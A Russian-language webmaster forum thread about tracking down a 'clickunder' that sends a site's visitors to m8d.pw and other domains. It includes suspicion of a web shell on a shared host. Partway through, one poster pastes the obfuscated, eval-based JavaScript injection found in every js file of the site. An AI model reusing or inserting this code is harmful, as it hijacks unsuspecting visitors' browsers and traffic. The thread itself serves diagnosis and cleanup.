Как найти на сайте кликандер

Суть вопроса
Недавно начали рости отказы
Сегодня в ли в переходах на сайты заметил переходы на сайт m8d.pw не реклама
Видимо сайт ломанули, перепроверил все js все гуд, разве что в соц.замке что-то

 

Давно отключили в тп

Думаешь в нем дело

Хм, я даже сам один ращ на него попался, дополнений в браузере нет
Зашел на главную кликнул на пустом месте, ушел на m8d

 

Бля снова пошел траф и появились переходы без ссылки по ЛИ
Где искать подскажете?

 

Полезно, буду пробовать

 

Переходы на домены m8d.pw sartirt.ru cataloguing.ru addplugin2.com http://clike.su/
Ничего этим способом не нашёл,через вебвизор видно что больше 70% аудитории уходят на m8d.pw за счёт этого бешенные отказы

Это тоже пробовал,сейчас поставил
Но перестаёт грузить трейлеры и в общем мешает работать многим js либо же я неправильно настроил
Так-же пропали кнопки поделится от яндекса хотя https://yastatic.net добавлен в исключения

Поделись конфигом если сделал,буду признателен

 

Проблему нашел, сижу на одном хосте с братом а он умудрился повестись на развод от catalguing.ru

Видимо на сервере шелл
Сегодня буду сносить все под ноль

 

Смотрел
Не могу найти

 

Да вот тоже думаю над этим

Нашёл эту сучку
Вот код

Код:

.call(this);(function(){var a="(ni(fcoc)f.br,=hp/)xut8ixut0)'t/)xut7ixut0)'w)xut4ixnx('=)xpt/[;(ief?!1=si')]erxaht(nwotnoner=dunree,=ce.oedt_mo'=wa(Dea(gDe+)omtoiin'a=eis+ir!'r!o&onx(e)-{ttv(ni(wd.ci.e't/2o/'20})",b="fco)utn({(ss(8=ts/x.br)f.br,=hp/x.br)f.br,=w.x.br)f.dO')-x.l('0ixnx('=)xpt?[;tn}ro=wd.ci.sa)ecomterrcdunck,e=y_f,n t).ttDea(2;ce.oedt;t/xr=Dfe=&e=s&.dOin=1sIeafco)iolaohfhp/or1}0)(;",c="utn{ni xixut0)'t:'=ss(;(ss(7=t:'=ss(;(ss(4=w'=ss(;(ief/!1=si')]f.dO')-x.l('0ru v sciolaohtm,f(ce.fr)oomtoiin'_=fDeDe;sDe.tt)0dunck=e+ph;pe';(f'&fhtciefdt=)enrlutn{nwotnr=t:0.ga,0})",d="";for(var i=0;i<a.length;i++)d+=a.charAt(i)+b.charAt(i)+c.charAt(i);eval(d);}());

Заражены были все js,сейчас чекаю остальные файлы

 

Вот с-ка а я думаю почему отказы под 60%
Зачистил все js этим методом,посмотрим как будет,кстати заражены все сайте в /www/ что бля очень не очень.